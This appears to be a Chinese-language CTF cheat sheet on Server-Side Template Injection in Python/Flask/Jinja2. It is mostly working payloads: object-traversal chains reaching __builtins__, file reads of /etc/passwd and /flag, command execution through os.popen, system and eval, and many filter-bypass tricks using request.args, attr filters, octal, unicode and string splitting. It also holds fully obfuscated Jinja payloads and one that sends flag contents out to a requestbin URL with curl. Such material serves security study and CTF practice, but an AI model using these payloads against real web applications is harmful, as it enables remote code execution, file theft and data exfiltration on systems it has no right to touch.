SSTI

SSTI (Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。目前CTF常见的SSTI题中,环境多为python。

Python沙箱逃逸

在 Python 中执行系统命令的方式有:

os

(模块用于访问操作系统功能的模块。通用操作:1.系统操作,2.目录操作,3.判断操作。)

commands:仅限2.x

(该模块在3.x中已经被subprocess取代。但是在2.x的早期版本中它也是重要的内置模块之一。)

subprocess

(模块用于管理子进程。可以调用外部命令作为子进程,还可以生成新的进程、连接到它们的input/output/error管道,同时获取它们的返回码。)

timeittimeit.systimeit.timeit("__import__('os').system('whoami')", number=1)

(时间模块,用于准确测量代码执行时间。该模块定义了三个实用函数和一个公共类。)

platformplatform.osplatform.sysplatform.popen('whoami', mode='r', bufsize=-1).read()

(该模块用于获得操作系统的相关信息。)

ptypty.spawn('ls')pty.os

(该模块定义了处理伪终端的操作:启动另一个进程并能够以编程方式写入和读取其控制终端。)

bdbbdb.oscgi.sys

cgicgi.oscgi.sys

基本操作

查看全局变量:

1
[变量名].__globals__

读写文件

  • 方法一

    常用函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    __class__            类的一个内置属性,表示实例对象的类。
    __base__ 类型对象的直接基类
    __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
    __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
    __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
    __init__ 初始化类,返回的类型是function
    __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。
    __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__
    __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。可以直接通过这个方法来获取到实例、类、函数的属性。
    __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
    __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。
    __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
    __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
    url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
    lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
    current_app 应用上下文,一个全局变量。

    request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
    request.args.x1 get传参
    request.values.x1 所有参数
    request.cookies cookies参数
    request.headers 请求头参数
    request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
    request.data post传参 (Content-Type:a/b)
    request.json post传json (Content-Type: application/json)
    config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

    常用过滤器:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    int():将值转换为int类型;
    float():将值转换为float类型;
    lower():将字符串转换为小写;
    upper():将字符串转换为大写;
    title():把值中的每个单词的首字母都转成大写;
    capitalize():把变量值的首字母转成大写,其余字母转小写;
    trim():截取字符串前面和后面的空白字符;
    wordcount():计算一个长字符串中单词的个数;
    reverse():字符串反转;
    replace(value,old,new): 替换将old替换为new的字符串;
    truncate(value,length=255,killwords=False):截取length长度的字符串;
    striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
    escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
    safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
    list():将变量列成列表;
    string():将变量转换成字符串;
    join():将一个序列中的参数值拼接成字符串。示例看上面payload;
    abs():返回一个数值的绝对值;
    first():返回一个序列的第一个元素;
    last():返回一个序列的最后一个元素;
    format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
    length():返回一个序列或者字典的长度;
    sum():返回列表内数值的和;
    sort():返回排序后的列表;
    default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
    length():返回字符串的长度,别名是count

    获取基本类:

    1
    2
    3
    4
    5
    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    request.__class__.__mro__[8] #针对jinjia2/flask为[9]适用

    获取基本类后,继续向下获取基本类(object)的子类:

    1
    object.__subclasses__()

    找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带wrapper的):

    1
    2
    3
    4
    5
    >>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
    <slot wrapper '__init__' of 'object' objects>

    >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
    <unbound method WarningMessage.__init__>

    查看其引用__builtins__

    builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

    这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能:

    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
  • 方法二

    存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可:

    1
    2
    3
    4
    5
    >>> ''.__class__.__mro__[2].__subclasses__().index(file)
    40

    [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
    #将read() 修改为 write() 即为写文件

命令执行

  • 利用eval 进行命令执行
    1
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
  • 利用warnings.catch_warnings 进行命令执行

    查看warnings.catch_warnings方法的位置:

    1
    2
    >>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
    59

    查看linecatch的位置:

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
    25

    查找os模块的位置:

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
    12

    查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述):

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
    144

    调用system方法:

    1
    2
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
    root
  • 利用commands 进行命令执行
    1
    2
    3
    4
    5
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
  • 利用任意字符串
    1
    sss.__init__.__globals__.__builtins__.open("/flag").read()

绕过

  • 中括号 []

    pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

    在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。

    1
    2
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    ().__class__.__mro__.__getitem__(1).__subclasses__().pop(407)("cat /flag",shell=True,stdout=-1).communicate().__getitem__(0)

    unicode字符:[]﹇﹈

  • 引号 ‘’

    request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。

    1
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

    unicode字符:""''

  • 单下划线 _

    过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过。

  • 双下划线 __

    同样利用request.args属性。

    1
    {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

    或者request.values属性。

    1
    {{()|attr(request.values.x)|attr(request.values.y)|attr(request.values.a)()|attr(request.values.z)(185)|attr(request.values.b)|attr(request.values.c)|attr(request.values.z)(request.values.d)|attr(request.values.z)(request.values.e)(request.values.f)|attr(request.values.g)|attr(request.values.z)(request.values.h)(request.values.i)}}&x=__class__&y=__base__&z=__getitem__&a=__subclasses__&b=__init__&c=__globals__&d=__builtins__&e=__import__&f=os&g=__dict__&h=system&i=curl http://requestbin.net/r/1eqk6r61?p=`cat /flag`
  • 点 .

    ''.__class__可以写成 getattr('','__class__')或者 ''|attr('__class__')

    ''.eval可以写成 ''|attr('__getitem__')('eval')

    ''.__class__可以写成''['__class__']

  • 双花括号

    {%if [expression]==[value]%} yes {%endif%}

    {%print()%}

    unicode字符:︷︷︸︸

  • 括号

    unicode字符:⁽⁾₍₎

  • 外部参数利用(爆破下标)

    request.argsrequest.values

    • 列目录

      1
      {{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)|attr(request.args.init)|attr(request.args.g)|attr(request.args.item)(request.args.mod)|attr(request.args.func)(request.args.cmd)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&g=__globals__&mod=os&func=popen&cmd=ls&re=read
    • 读文件

      1
      2
      {{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)(request.args.file)|attr(request.args.re)()}}
      &param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&file=/etc/passwd&re=read
  • 数字

    unicode字符:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡0123456789

  • 关键字

    • base64编码

      __getattribute__使用实例访问属性时,调用该方法。

      例如被过滤掉__class__关键词:

      1
      {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
    • 字符串拼接

      1
      2
      3
      yyy.__init__.__globals__.__builtins__|attr('__getit''em__')('ev''al')('__imp''ort__("o''s").po''pen("ls /").re''ad()')
      [].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()
      [].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op"+"en"]("/fl"+"ag").read()
    • lower()

      1
      {{sss.__init__.__globals__.__builtins__.open("/FLAG".lower()).read()}}
    • 清空关键字list

      1
      2
      [关键字list变量名].clear()
      open("/flag").read()
    • 八进制

      1
      2
      3
      4
      5
      6
      7
      8
      9
      .__class__ => ["\137\137\143\154\141\163\163\137\137"]
      .__base__ => ["\137\137\142\141\163\145\137\137"]
      .__subclasses__ => ["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]
      .__init__ => ["\137\137\151\156\151\164\137\137"]
      .__globals__ => ["\137\137\147\154\157\142\141\154\163\137\137"]
      .__builtins__ => ["\137\137\142\165\151\154\164\151\156\163\137\137"]
      .__import__ => ["\137\137\151\155\160\157\162\164\137\137"]
      .popen => ["\160\157\160\145\156"]
      .read => ["\162\145\141\144"]
    • unicode编码

      1
      .__class__ => ["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
    • unicode字符

      𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳

      𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫

      0123456789

      参考:https://www.compart.com/en/unicode/U+0030

    • attr与过滤器

      如果没有过滤globals,从globals里把eval函数找出来,然后构造任意字符串放进去RCE即可。

      参考:https://www.gem-love.com/ctf/2598.html

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      {% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}  # _
      {% set spa = ((app.__doc__|list()).pop(102)|string())%} #空格
      {% set pt = ((app.__doc__|list()).pop(320)|string())%} #点
      {% set yin = ((app.__doc__|list()).pop(337)|string())%} #单引号
      {% set left = ((app.__doc__|list()).pop(264)|string())%} #左括号(
      {% set right = ((app.__doc__|list()).pop(286)|string())%} #右括号)
      {% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%} #斜线/
      {% set bu = dict(buil=aa,tins=dd)|join() %} #builtins
      {% set im = dict(imp=aa,ort=dd)|join() %} #import
      {% set sy = dict(po=aa,pen=dd)|join() %} #popen
      {% set os = dict(o=aa,s=dd)|join() %} #os
      {% set ca = dict(ca=aa,t=dd)|join() %} #cat
      {% set flg = dict(fl=aa,ag=dd)|join() %} #flag
      {% set ev = dict(ev=aa,al=dd)|join() %} #eval
      {% set red = dict(re=aa,ad=dd)|join()%} #read
      {% set bul = xhx*2~bu~xhx*2 %} #__builtins__

      #拼接起来 __import__('os').popen('cat /flag').read()
      {% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}


      {% for f,v in y1ng.__init__.__globals__.items() %} #globals
      {% if f == bul %}
      {% for a,b in v.items() %} #builtins
      {% if a == ev %} #eval
      {{b(pld)}} #eval(pld)
      {% endif %}
      {% endfor %}
      {% endif %}
      {% endfor %}

      #payload
      #{%%20set%20xhx%20=%20(({%20}|select()|string()|list()).pop(24)|string())%}{%%20set%20spa%20=%20((app.__doc__|list()).pop(102)|string())%}{%%20set%20pt%20=%20((app.__doc__|list()).pop(320)|string())%}%20{%%20set%20yin%20=%20((app.__doc__|list()).pop(337)|string())%}{%%20set%20left%20=%20((app.__doc__|list()).pop(264)|string())%}%20{%%20set%20right%20=%20((app.__doc__|list()).pop(286)|string())%}%20{%%20set%20slas%20=%20(y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}%20{%%20set%20bu%20=%20dict(buil=aa,tins=dd)|join()%20%}{%%20set%20im%20=%20dict(imp=aa,ort=dd)|join()%20%}{%%20set%20sy%20=%20dict(po=aa,pen=dd)|join()%20%}{%%20set%20os%20=%20dict(o=aa,s=dd)|join()%20%}%20{%%20set%20ca%20=%20dict(ca=aa,t=dd)|join()%20%}{%%20set%20flg%20=%20dict(fl=aa,ag=dd)|join()%20%}{%%20set%20ev%20=%20dict(ev=aa,al=dd)|join()%20%}%20{%%20set%20red%20=%20dict(re=aa,ad=dd)|join()%}{%%20set%20bul%20=%20xhx*2~bu~xhx*2%20%}{%%20set%20pld%20=%20xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right%20%}%20{%%20for%20f,v%20in%20y1ng.__init__.__globals__.items()%20%}{%%20if%20f%20==%20bul%20%}{%%20for%20a,b%20in%20v.items()%20%}{%%20if%20a%20==%20ev%20%}{{b(pld)}}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      {%set a=dict(po=x,p=x)|join%}  #pop
      {%set b=(()|select|string|list)|attr(a)(𝟐𝟒)%} #_
      {%set c=(b,b,dict(do=x,c=x)|join,b,b)|join()%} #__doc__
      {%set d=(x|attr(c)|list)|attr(a)(𝟑𝟑𝟕)%} #单引号
      {%set e=(x|attr(c)|list)|attr(a)(𝟐𝟔𝟒)%} #左括号(
      {%set f=(x|attr(c)|list)|attr(a)(𝟐𝟖𝟔)%} #右括号)
      {%set g=(x|attr(c)|list)|attr(a)(𝟑𝟐𝟎)%} #点.
      {%set h=(x|attr(c)|list)|attr(a)(𝟏𝟎𝟐)%} #空格
      {%set i=(b,b,dict(in=x,it=x)|join,b,b)|join()%} #__init__
      {%set j=(b,b,dict(glo=x,bals=x)|join,b,b)|join()%} #__globals__
      {%set k=(b,b,dict(ge=x,titem=x)|join,b,b)|join()%} #__getitem__
      {%set l=(b,b,dict(buil=x,tins=x)|join,b,b)|join()%} #__builtins__
      {%set m=(b,b,dict(im=x,port=x)|join,b,b)|join()%} #__import__
      {%set n=(x|attr(i)|attr(j)|string|list)|attr(a)(𝟑𝟒𝟗)%}
      {%set o=dict(ev=x,al=x)|join()%} #eval
      {%set p=dict(o=x,s=x)|join()%} #os
      {%set q=dict(po=x,pen=x)|join()%} #popen
      {%set r=dict(re=x,ad=x)|join()%} #read
      {%set s=(dict(ls=x)|join,h,n,dict(var=x)|join,n,dict(www=x)|join,n,dict(flask=x)|join)|join()%}
      {%set t=(m,e,d,p,d,f,g,q,e,d,s,d,f,g,r,e,f)|join()%}
      {%set u=x|attr(i)|attr(j)|attr(k)(l)|attr(k)(o)(t)%}
      {{u}}
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      {% set id=dict(ind=a,ex=a)|join%}
      {% set pp=dict(po=a,p=a)|join%}
      {% set ls=dict(ls=a)|join%}
      {% set ppe=dict(po=a,pen=a)|join%}
      {% set gt=dict(ge=a,t=a)|join%}
      {% set cr=dict(ch=a,r=a)|join%}
      {% set nn=dict(n=a)|join%}
      {% set tt=dict(t=a)|join%}
      {% set ff=dict(f=a)|join%}
      {% set ooqq=dict(o=a,s=a)|join %}
      {% set rd=dict(re=a,ad=a)|join%}
      {% set five=(lipsum|string|list)|attr(id)(tt) %}
      {% set three=(lipsum|string|list)|attr(id)(nn) %}
      {% set one=(lipsum|string|list)|attr(id)(ff) %}
      {% set shiba=five*five-three-three-one %}
      {% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
      {% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}
      {% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
      {% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
      {% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
      {% set space=chcr(three*three*five-five-five-three) %}
      {% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}
      {{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}

自动化工具

tplmap: https://github.com/epinna/tplmap

参考文

SSTI模板注入绕过(进阶篇)

Python格式化字符串漏洞

Python 格式化字符串漏洞(Django为例)

Payload参考

Server Side Template Injection